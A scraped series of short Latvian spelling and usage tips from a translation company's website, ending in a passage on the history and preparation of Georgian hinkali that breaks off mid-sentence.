Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai Gatis ne tik vien prāto, bet arī rīkojas, vai Gatis ne tikvien prāto, bet arī rīkojas? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-02-21 - Modified: 2022-12-27 - URL: https://skrivanek.lv/ne-tikvien-bet-ari-pret-ne-tik-vien-bet-ari/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NE TIKVIEN – BET ARI PRET NE TIK VIEN – BET ARI 1 Vai Gatis ne tik vien prāto, bet arī rīkojas, vai Gatis ne tikvien prāto, bet arī rīkojas? Latviešu valodā ir vārdi „tik”, „vien”, kā arī „tikvien”. Iespējams, tieši tāpēc pāru saikļa „ne tikvien – bet arī” rakstība reizumis sagādā nedienas. Šis saiklis rakstāms četros vārdos: „ne tikvien – bet arī”. Tātad Gatis ne tikvien prāto, bet arī rīkojas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai vizītkartē rakstīsim tālruņa vai telefona numuru? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-02-21 - Modified: 2024-10-01 - URL: https://skrivanek.lv/talrunis-pret-telefons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TĀLRUNIS PRET TELEFONS 1 Vai vizītkartē rakstīsim tālruņa vai telefona numuru? Reizumis rodas jautājums – vai tālrunis ir tas pats, kas telefons? Varbūt vārds „tālrunis” ir literārs, bet „telefons” – neliterārs vārds? Varbūt „tālrunis” ir poētisms? Atbilde ir vienkārša: abi ir latviešu literārās valodas vārdi un vienlīdz labi lietojami ikdienā. Vārda „telefons” pamatā ir grieķu „tēle” ar nozīmi ‘no attāluma’ un „phōnē” ar nozīmi ‘skaņa’. Šis ir internacionālisms, kas sastopams vairākās dažādu valodu grupās (piemēram, angļu „telephone”, franču „téléphone”, krievu „телефон”). Savukārt vārdu „tālrunis” uzskata par rakstnieka Zigmunda Skujiņa iedzīvinātu vārdu, kurš latviešu valodā bijis sastopams jau 20. gadsimta sākumā. Vārdi „tālrunis” un „telefons” uzskatāmi par absolūtajiem sinonīmiem, tas ir, tiem ir viena un tā pati nozīme, un tie lietojami vienā un tajā pašā kontekstā. Tātad vizītkartē varam norādīt gan tālruņa, gan telefona numuru. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Preces nav veikalā dotajā brīdī vai šobrīd? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-02-21 - Modified: 2025-03-12 - URL: https://skrivanek.lv/sobrid-pret-dotaja-bridi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŠOBRĪD PRET DOTAJĀ BRĪDĪ 1 Vai preces nav veikalā dotajā brīdī vai šobrīd? Vārdu savienojumā „dotais brīdis” divdabis „dotais” ir lietots norādāmā vietniekvārda nozīmē, proti, ar nozīmi ‘šis’. Šāds vārda „dotais” lietojums latviešu valodā nav vēlams, un labāk būtu teikt „šajā brīdī”, „šobrīd”, „patlaban” u. tml. Tātad preces šobrīd nav veikalā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai polsterējumam izmantosim parolonu vai porolonu? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-02-21 - Modified: 2022-12-27 - URL: https://skrivanek.lv/parolons-pret-porolons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PAROLONS PRET POROLONS 1 Vai polsterējumam izmantosim parolonu vai porolonu? No poliuretāna iegūtu vieglu, elastīgu materiālu sauc par porolonu. Vārds latviešu valodā aizgūts no krievu valodas vārda „поролон”. Tā kā krievu valodā šajā vārdā pirmā zilbe nav uzsvērta, nereti nav skaidrs, vai tajā rakstāms patskanis „a” vai „o”. Visās trijās vārda zilbēs rakstāms patskanis „o”: „porolons”. Tātad polsterējumam izmantosim porolonu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pasākumā ir bez maksas vai bezmaksas ieeja? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-02-21 - Modified: 2024-11-11 - URL: https://skrivanek.lv/bez-maksas-pret-bezmaksas/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BEZ MAKSAS VAI BEZMAKSAS 1 Vai pasākumā ir bez maksas vai bezmaksas ieeja? Vārds „bezmaksas” tiek lietots apzīmētāja funkcijā, proti, tas parasti raksturo lietvārdu: „bezmaksas biļete”, „bezmaksas pusdienas” utt. Prievārdiskais savienojums „bez maksas” savukārt tiek lietots apstākļa funkcijā, proti, tas parasti paskaidro darbības vārdu: „biļeti var saņemt bez maksas”, „pusdienas ir bez maksas”. Tātad pasākumā ir bezmaksas ieeja, un ieeja pasākumā ir bez maksas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ir grants karjera vai grants karjers? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņa, gan sadzīvē. - Published: 2019-02-21 - Modified: 2024-08-12 - URL: https://skrivanek.lv/karjers-pret-karjera/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KARJERS PRET KARJERA 1 Vai ir grants karjera vai grants karjers? Latviešu valodā vārds „karjera” nozīmē sekmīgu izvirzīšanos kādā nozarē vai darbavietā. Savukārt „karjers” ir derīgo izrakteņu atklātas ieguves vieta. Iespējams, sieviešu dzimtes lietojums sastopams tāpēc, ka karjers ir vieta, bedre, proti, saistās ar citiem līdzīgas nozīmes sieviešu dzimtes vārdiem, turklāt gan vārds „karjera”, gan „karjers” lokatīvā ir „karjerā” (sal. „grants ir karjerā” un „panākumi karjerā”). Tātad teiksim: grants karjers. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai izstādē skatīsim oriģinālus vai orģinālus darbus? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-02-20 - Modified: 2024-07-11 - URL: https://skrivanek.lv/originals-pret-orginals/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ORIĢINĀLS PRET ORĢINĀLS 1 Vai izstādē skatīsim oriģinālus vai orģinālus darbus? Vārds „oriģināls” latviešu valodā aizgūts no latīņu valodas vārda „originalis” ar nozīmi ‘sākotnējs’. Lai gan mēdzam pirmo patskani „i” neizrunāt un arī rakstīt vārdu „orģināls”, šis vārds rakstāms ar diviem patskaņiem „i”: „oriģināls”. Tātad skatīsim oriģinālus darbus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Laika ziņas lasa moderators vai moderātors? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-02-20 - Modified: 2024-08-14 - URL: https://skrivanek.lv/moderators/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MODERATORS PRET MODERĀTORS 1 Vai laika ziņas lasa moderators vai moderātors? Latviešu valodā sastopami vairāki svešvārdi ar izskaņu „-ators” (vai sieviešu dzimtē „-atore”). Lai gan mēdzam izskaņu izrunāt ar garo patskani „ā” un sakām „koordinātors”, „organizātors”, tomēr šie svešvārdi rakstāmi ar īso patskani „a”: „koordinators”, „organizators”, arī „moderators”. Tātad laika ziņas lasa moderators vai moderatore. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ddomāsim par nākotnes perspektīvām vai perspektīvēm? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-02-20 - Modified: 2024-08-14 - URL: https://skrivanek.lv/perspektivas-pret-perspektives/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PERSPEKTĪVAS PRET PERSPEKTĪVES 1 Vai domāsim par nākotnes perspektīvām vai perspektīvēm? Vārds „perspektīva” latviešu valodā aizgūts no franču vārda „perspective”. Sarunvalodā nereti lietojam vārdu „perspektīve”, daudzskaitlī atbilstoši – „perspektīves”, tomēr vārds „perspektīva” ir 4. deklinācijas lietvārds, proti, lietvārds ar galotni „-a”. Tātad domāsim par nākotnes perspektīvām. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Gruzīnu virtuvei raksturīgi hinkali vai hinkaļi? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2019-02-20 - Modified: 2024-07-11 - URL: https://skrivanek.lv/hinkali/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional HINKALI PRET HINKAĻI 1 Vai gruzīnu virtuvei raksturīgi hinkali vai hinkaļi? Hinkali ir ar rokām darināti mīklas sainīši, pildīti ar gaļu un zaļumiem, daļēji līdzīgi lieliem pelmeņiem. Vārds nācis no gruzīnu valodas, ir nelokāms un rakstāms ir „l”, nevis „ļ” vārda beigās. Tātad gruzīnu virtuvei raksturīgi hinkali, un varam gatavot hinkali. Citi latviešu valodas padomi HINKALI – GRUZĪNU VIRTUVES LEPNUMS Hinkali, tāpat kā hačapuri, ir Gruzijas lepnums un vizītkarte. Grūti iedomāties gruzīnu virtuvi bez šī miltu izstrādājuma. Ikviens, kurš uzskata, ka hinkali ir tas pats, kas pelmeņi, dziļi maldās. Faktiski pelmeņus un hinkali vieno tikai tekstūra: abi ir izgatavoti no mīklas un gaļas. Taču tie atšķiras pēc nozīmes, tie ir divi pavisam dažādi ēdieni, kas tiek gatavoti, balstoties uz senajām tautu tradīcijām. Ikviens zina, ka pelmeņi ir diezgan viegli un ātri salipināmi, taču hinkaliem ir savi noslēpumi, tāpēc ne katra saimniece Gruzijā uzdrošinās tos pagatavot savai ģimenei. Bet, ja viņa zina, kā pagatavot hinkali, viņa kļūst par slavenību savā pilsētā, kvartālā, ciematā. Droši vien, šis ir visnoslēpumainākais gruzīnu virtuves ēdiens, simboliskākais un sarežģītākais. Hinkali vēsture sākas pagānu laikos, kad šis ēdiens tika gatavots tikai lielajos svētkos, kas saistīti ar saules kultu. Katra "hinkalinka" tika veidota simboliski: aste − pats gaismeklis, pildījums − pārpilnība un siltums, mīkla − saules stari. Ir pētnieki, kas apgalvo, ka gruzīni ēdiena gatavošanas tradīciju un pašu principu (mīklas apvalku un gaļas pildījumu) pārņēmuši no klejotāju tautām, kuras periodiski cīnījās ar Aizkaukāzu. Pieņēmums nav nopietni pamatots, jo pildījumu gatavo atšķirīgi, un ar gruzīnu ēdienu saistītās tradīcijas un etiķete atšķiras no ēdienu gatavošanas tradīcijām Āzijā. HINKALI VĒSTURE LEĢENDAS PAR HINKALI Hinkali, tāpat kā daudziem tradicionālajiem ēdieniem, ir sava vēsture. Pastāv leģenda, ka šis ēdiens pirmo reizi tika pagatavots Gruzijā kaujas laikā ar persiešiem. Daudzi ievainotie karavīri nevarēja ēst dažādu traumu dēļ, kā rezultātā nevarēja pilnībā atgūt spēkus, tāpēc saimnieces nolēma izdomāt jaunu ēdienu. Šis jaunais ēdiens bija hinkali, kas tika pagatavoti no barojoša jēra, sīpoliem un ķiplokiem, miltiem. Īpaša loma ēdienā bija buljonam, kam bija ārstnieciskas īpašības. Sīpoli ar ķiplokiem radīja antiseptisku efektu. Lai pagatavotu hinkali, saimnieces sagrieza nelielos gabaliņos kalnos ganītā jēra gaļu, sajauca ar sīpoliem un ķiplokiem un pēc tam visu vārīja milzīgā katlā uz atklātas uguns. Saskaņā ar citu versiju Mongolijas, Ķīnas, Indijas nomadu tautām senatnē bija milzīga ietekme uz reģiona austrumu kultūru. Pirmie hinkali parādījās Pšuari pilsētā. Senie iedzīvotāji gatavoja ēdienu, izmantojot cirvi, kas tika izmantots kā ierocis kaujas laikā. Tas ir, gaļa tika sasmalcināta. Nevis sagriezta ar nazi, bet sasmalcināta. Tas piešķīra gaļai īpašu garšu gatavošanas procesā. Reliģijas zinātnieki uzstāj uz pagāniskāku skaidrojumu par hinkali izcelsmi. Piemēram, maizei ir saules forma, lavašam ir mēness forma. Senatnē maizes virspusē tika attēlots krusts. Tagad šī tradīcija ir saglabājusies kā atšķirīgā gruzīnu maizes iezīme Turcijā, lai atšķirtu to no musulmaņu maizes. Aste, tas ir, hinkali augšdaļa, kā pagānu simbols, ir mežaiņa (meža un kalnu saimnieka) simbols austrumslāvu mitoloģijā. Kalnu karotāju aizsargs. Pastāv vēl viena versija. Hinkali forma ar ielocēm uz mīklas ir līdzīga krabja ķermenim. Tas ir, ja pagriež krabi otrādi, var atrast formas līdzību ar šo ēdienu. Hinkali jābūt vismaz 10 krokām. Un interesanti ir tas, ka vidējam krabim ir 10 ekstremitātes kopā ar nagiem. Pagāniskajā Gruzijā krabis bija spēcīgs simbols: mūžīgā dzīvības kustība. HINKALI PAGATAVOŠANA No malas skatoties, hinkali pagatavošana nešķiet tik sarežģīta. Bet patiesībā tā ir īsta pavārmāksla, pagatavot hinkali pareizi. Vislielākais izaicinājums gatavotājam ir hinkali aiztaisīšana, veidojot slavenās hinkali krociņas. Tām ir jābūt vismaz sešām, bet vislielākā meistarība ir izveidot 28 krociņas vienam hinkali. Gruzīnu vīri stāsta, ka pēc krunciņu skaita hinkali, esot varējuši noteikt to pagatavotājas vecumu. Tradicionāli hinkali gatavošanā tiek izmantota jēra, liellopa vai cūkas gaļa, pievienojot tai maltus sarkanos piparus. Maltus melnos piparus tiem uzbēra virsū pirms pasniegšanas. Mūsdienās hinkali pildījumam ir ļoti daudz variāciju – siers, sēnes, kartupeļi. Starp citu, daži joprojām strīdas, vai šim ēdienam ir jāpievieno zaļumi. Tā kā hinkali tika izgudroti kalnos un tur praktiski nebija zaļumu, klasiskā recepte neparedzēja pētersīļu vai diļļu izmantošanu. Bet šodien hinkali ir atļauts pievienot jebkurus garšaugus un garšvielas. Hinkali pagatavošana ne vienmēr ir vienkārša. Tradicionāli hinkali mīklu gatavoja neraudzētu. Tad izrullēja, sagrieza gabaliņos, un pa vidu lika pildījumu. Pēc tam bija nepieciešams tīt hinkali. Šis process prasīja īpašu prasmi no saimnieces, jo ietīšana bija īsta māksla. Jo vairāk kroku bija uz hinkali, jo lielāka pieredze un prasmes bija saimniecei. Īpaši svarīgi bija mīklu satīt tā, lai maisiņš būtu ļoti blīvs un vārot, tas nesaplīstu un gaļas buljons neiztecētu. Tā kā gaļas pildījumu iepriekš termiski neapstrādāja, tas izdalīja ļoti daudz šķidruma. Trauku, kurā vārīja hinkali, lika uz atklātas uguns, ūdenim iepriekš pievienojot nedaudz sāls. Šķiet, ka viss ir diezgan viegli. Bet vēl viena lieta, kas ir ļoti svarīga − hinkali astei vajadzēja palikt pusgatavai gatavošanas procesa laikā. Hinkali ēd arī īpašā veidā. Nekādas dakšiņas vai karotes, tikai rokas! Tajā nav nekā dīvaina, gluži pretēji, hinkali ēšana ar rokām ir sena gruzīnu tradīcija. Vispirms jāpaņem hinkali aiz astes. Pēc tam apgriež, mazliet nokož, pat iekož, bet tikai uzmanīgi, lai buljons neiztecētu. Vispirms izdzer visu šķidrumu, un tad ēd tikai gaļu un mīklu. Aste tiek atstāta. Hinkali ir jāēd no rīta vai pusdienlaikā, jo ēdiens ir ļoti sātīgs. Parasti porcijas ir diezgan lielas, vismaz 6 hinkali vienā porcijā. Bet vienā reizē mēdz apēst arī vairāk par 10 hinkali, jo tie ir ļoti gardi. Un pats galvenais – hinkali nekad klāt nedzer vīnu. Tiek pasniegts alus vai degvīns. HINKALI RECEPTES Gruzīnu virtuvē pavāra personībai ir ārkārtīgi svarīga loma. Gruzīnu mātes liek savas plaukstas nospiedumu uz maizes, ko cep saviem dēliem. Tieši tādēļ katrs ēdiens nes sevī atblāzmu no pavāra dvēseles. GRUZĪNU RESTORĀNA “ALAVERDI” ŠEFPAVĀRA ŠOTA MUDŽIRIŠVILI (SHOTA 